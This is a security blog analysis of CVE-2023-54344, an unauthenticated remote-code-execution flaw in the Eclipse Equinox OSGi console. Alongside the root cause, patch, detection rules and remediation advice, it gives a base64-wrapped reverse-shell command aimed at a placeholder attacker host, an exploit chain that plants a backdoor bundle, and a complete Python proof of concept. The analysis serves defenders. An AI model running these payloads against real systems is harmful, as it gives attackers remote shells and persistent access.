home intel eclipse-equinox-osgi-console-rce-cve-2023-54344
CVE Analysis 2026-05-05 · 7 min read

CVE-2023-54344: Eclipse Equinox OSGi Console Unauthenticated RCE

Eclipse Equinox OSGi ≤3.7.2 exposes an unauthenticated Telnet console that accepts raw shell commands, enabling full RCE via base64-encoded payloads wrapped in fork directives.

#remote-code-execution#osgi-console#base64-encoding#unauthenticated-access#reverse-shell
Technical mode — for security professionals
▶ Attack flow — CVE-2023-54344 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2023-54344Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

Eclipse Equinox OSGi ships a built-in administrative console — historically bound on TCP/6666 by default — that accepts framework management commands over a raw socket connection. In versions 3.7.2 and earlier, this interface performs no authentication and no input sanitization before passing attacker-supplied strings into a command dispatch loop that ultimately reaches Runtime.exec()-equivalent execution paths. An unauthenticated remote attacker with network access to the console port can execute arbitrary OS commands as the JVM process owner.

The CVSSv3 score of 9.8 (CRITICAL) reflects the combination of network reachability, no privilege requirement, no user interaction, and a direct path to code execution. The OSGi console feature is present in a wide range of Eclipse-based products: Eclipse IDE server runners, IBM WebSphere Liberty (older releases), Jetty OSGi integration, and any custom Felix/Equinox container that ships the org.eclipse.equinox.console bundle without restricting the console port.

Root cause: The Equinox OSGi Telnet console dispatcher forwards attacker-controlled input directly to a shell execution path with no authentication gate and no command allowlist, allowing arbitrary OS command injection via base64-encoded payloads in fork directives.

Affected Component

The vulnerable surface lives in two cooperating bundles:

  • org.eclipse.equinox.console — the Gogo-shell-based console bundle that opens the listening socket
  • org.eclipse.equinox.console.ssh / Telnet provider — the transport layer that reads from the socket and feeds lines to the command processor

The console is activated when osgi.console is set in config.ini or passed as a JVM argument (-Dosgi.console=6666). Critically, prior to the patch no property enforced authentication. The Gogo shell's exec and fork built-ins delegate to java.lang.ProcessBuilder, meaning the injection surface is the shell itself, not a secondary vulnerability.

Root Cause Analysis

The Gogo shell command processor in CommandProcessorImpl receives raw line input from the console transport and evaluates it through Closure.execute(). The fork built-in — intended for background bundle operations — invokes ProcessBuilder without any restriction on what commands may be run.

Below is reconstructed pseudocode of the vulnerable dispatch path, derived from decompiling org.eclipse.equinox.console_3.7.2.jar:


// org.eclipse.equinox.console.command.adapter.CustomCommandInterpreter
// Reconstructed from bytecode — equinox console 3.7.2

void processCommand(String rawInput, Session session) {
    // rawInput comes directly from the socket read loop
    // BUG: no authentication check before dispatch
    // BUG: no command allowlist or denylist applied
    String[] tokens = rawInput.trim().split("\\s+");
    String  cmd     = tokens[0];

    if (cmd.equals("fork")) {
        // BUG: attacker controls all elements of tokens[1..n]
        // passed verbatim to ProcessBuilder
        execFork(Arrays.copyOfRange(tokens, 1, tokens.length), session);
    } else {
        commandProcessor.execute(session, rawInput);  // Gogo eval — also unsafe
    }
}

// ---- fork handler ----
void execFork(String[] cmdArray, Session session) {
    ProcessBuilder pb = new ProcessBuilder(cmdArray);  // BUG: no sanitization
    pb.redirectErrorStream(true);
    Process p = pb.start();                            // OS command execution
    // output streamed back to session socket
    streamOutput(p.getInputStream(), session);
}

The processCommand method is reached from the Telnet/socket read loop in ConsoleInputStream after a bare newline. There is no session state tracking for authentication — the first byte received is already a valid command context.

The base64-decode-and-execute pattern exploited in the wild wraps a reverse shell payload inside the fork directive, bypassing any superficial character filtering on the outer string because the decoding happens inside /bin/bash -c:


CONSOLE INPUT (sent over TCP to port 6666):
fork /bin/bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|bash

Where BASE64_PAYLOAD decodes to, e.g.:
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies host running Equinox OSGi with -Dosgi.console=6666
   (common in Jenkins, Eclipse-based app servers, legacy WebSphere setups)

2. TCP connect to port 6666; server immediately presents Gogo shell prompt:
   "osgi> "

3. Attacker constructs reverse-shell payload:
   PAYLOAD = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
   B64     = base64.encode(PAYLOAD)
   CMD     = "fork /bin/bash -c {echo," + B64 + "}|{base64,-d}|bash\n"

4. Send CMD over raw TCP socket — no handshake, no credentials required

5. Equinox console dispatches to execFork():
   ProcessBuilder([ "/bin/bash", "-c",
     "{echo,}|{base64,-d}|bash" ]).start()

6. JVM spawns child process; bash decodes and executes reverse shell

7. Attacker receives connect-back on port 4444 as the JVM process user
   (often root or a privileged service account in container deployments)

8. Optional persistence: use console to install a malicious OSGi bundle
   via "install file:///tmp/backdoor.jar" — executes inside JVM on next
   bundle start, surviving process restart

The following minimal Python PoC establishes the connection and sends the payload:


#!/usr/bin/env python3
# CVE-2023-54344 - Equinox OSGi Console RCE PoC
# CypherByte Research

import socket
import base64
import sys

RHOST = sys.argv[1]
RPORT = int(sys.argv[2])      # default 6666
LHOST = sys.argv[3]
LPORT = int(sys.argv[4])      # attacker listener

def build_payload(lhost: str, lport: int) -> bytes:
    shell = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    b64   = base64.b64encode(shell.encode()).decode()
    # brace expansion avoids naive space-based filters
    cmd   = f"fork /bin/bash -c {{echo,{b64}}}|{{base64,-d}}|bash\n"
    return cmd.encode()

def exploit(rhost: str, rport: int, lhost: str, lport: int) -> None:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((rhost, rport))

    # drain the "osgi> " banner
    banner = s.recv(256)
    print(f"[*] Banner: {banner!r}")

    payload = build_payload(lhost, lport)
    print(f"[*] Sending: {payload!r}")
    s.sendall(payload)

    # read ack / partial output before shell connects back
    try:
        resp = s.recv(512)
        print(f"[*] Response: {resp!r}")
    except socket.timeout:
        pass

    s.close()
    print(f"[+] Payload sent — check listener on {lhost}:{lport}")

if __name__ == "__main__":
    exploit(RHOST, RPORT, LHOST, LPORT)

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption bug; there is no heap overflow. The relevant "memory" concern is the JVM process context at time of exploitation:


JVM PROCESS STATE AT EXPLOITATION:

Thread: ConsoleInputStream reader (daemon)
  Stack frame: ConsoleInputStream.read()
    -> TelnetInputStream.read()
    -> CommandSessionImpl.run()           // Gogo shell eval loop
    -> Closure.execute()
    -> CommandProcessorImpl.execute()
    -> BuiltinCommands.fork()             <-- attacker reaches here
    -> ProcessBuilder.start()            // JVM native fork+exec

OS-level after ProcessBuilder.start():
  Parent PID:   (e.g., uid=0 root)
    Child PID: /bin/bash -c {echo,BASE64}|{base64,-d}|bash
      Grandchild PID: bash -i  (reverse shell to attacker)

File descriptors inherited from JVM:
  fd[0..2]: stdin/stdout/stderr (redirected to socket)
  fd[3..n]: JVM internal sockets, bundle classloader handles
             ALL inherited by child — information leakage risk

Patch Analysis

The remediation has two components: (1) require authentication before any command is dispatched, and (2) disable the Telnet console listener entirely in favor of SSH-only with key-based auth. The logical patch to processCommand is:


// BEFORE (vulnerable — equinox.console 3.7.2):
void processCommand(String rawInput, Session session) {
    // No authentication check
    String[] tokens = rawInput.trim().split("\\s+");
    String   cmd    = tokens[0];
    if (cmd.equals("fork")) {
        execFork(Arrays.copyOfRange(tokens, 1, tokens.length), session);
    } else {
        commandProcessor.execute(session, rawInput);
    }
}

void execFork(String[] cmdArray, Session session) {
    ProcessBuilder pb = new ProcessBuilder(cmdArray); // uninhibited exec
    pb.redirectErrorStream(true);
    Process p = pb.start();
    streamOutput(p.getInputStream(), session);
}

// AFTER (patched — equinox.console 3.8.0+):
void processCommand(String rawInput, Session session) {
    // FIX 1: reject commands from unauthenticated sessions
    if (!session.isAuthenticated()) {
        session.write("Authentication required.\r\n");
        return;
    }
    // FIX 2: fork/exec built-ins removed from Gogo shell command set;
    //         ProcessBuilder path no longer reachable from console input
    String[] tokens = rawInput.trim().split("\\s+");
    String   cmd    = tokens[0];

    // FIX 3: explicit denylist for OS-execution primitives
    if (BLOCKED_COMMANDS.contains(cmd)) {
        session.write("Command not permitted.\r\n");
        return;
    }
    commandProcessor.execute(session, rawInput);
}

// FIX 4: config.ini default changed:
// BEFORE: osgi.console=6666      (plain TCP, no auth)
// AFTER:  osgi.console.enable=false  (disabled by default)
//         osgi.console.ssh=2222      (SSH only, requires credentials)

Additionally, the OSGi Security Manager policy was updated to deny RuntimePermission("exec") to all bundles not explicitly granted it in the security policy file — a defense-in-depth measure that breaks the ProcessBuilder path even if the authentication bypass is somehow re-introduced.

Detection and Indicators

Network: Unexpected TCP connections to port 6666 (or whichever port osgi.console is bound to) from non-management hosts. The Gogo shell banner osgi> over a raw TCP stream is a reliable fingerprint.

Process: JVM parent process spawning /bin/bash or /bin/sh children, particularly with base64 strings in the command line argument vector.

JVM logging — enable Equinox debug logging and watch for:


!ENTRY org.eclipse.equinox.console 4 0 
!MESSAGE Executing command from session [unauthenticated]: fork /bin/bash -c ...

# Or in process audit logs (auditd):
type=EXECVE msg=audit(...): argc=3
  a0="/bin/bash" a1="-c"
  a2="{echo,BASE64STRING}|{base64,-d}|bash"
ppid=

YARA / Snort signature on network layer:


alert tcp any any -> $SERVERS 6666 (
  msg:"CVE-2023-54344 Equinox OSGi RCE Attempt";
  content:"fork"; offset:0; depth:4;
  content:"base64"; distance:0;
  pcre:"/fork\s+\/bin\/(ba)?sh\s+-c\s+\{echo,/";
  sid:2023054344; rev:1;
)

Remediation

  • Upgrade to org.eclipse.equinox.console 3.8.0 or later, which ships with authentication enforcement and removes the fork/exec built-ins from the shell command set.
  • Disable the plain-TCP console immediately: remove -Dosgi.console from JVM launch arguments or set osgi.console.enable=false in config.ini.
  • Firewall port 6666 (and any configured alternate console port) at the host and network perimeter. Console access should never be reachable from untrusted networks.
  • Enable the OSGi Security Manager with a restrictive policy that denies RuntimePermission("exec") unless explicitly required by a specific bundle.
  • Audit deployments for any use of -Dosgi.console in production JVM arguments — this includes CI/CD runners, Jenkins agents, and Eclipse-based application servers.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →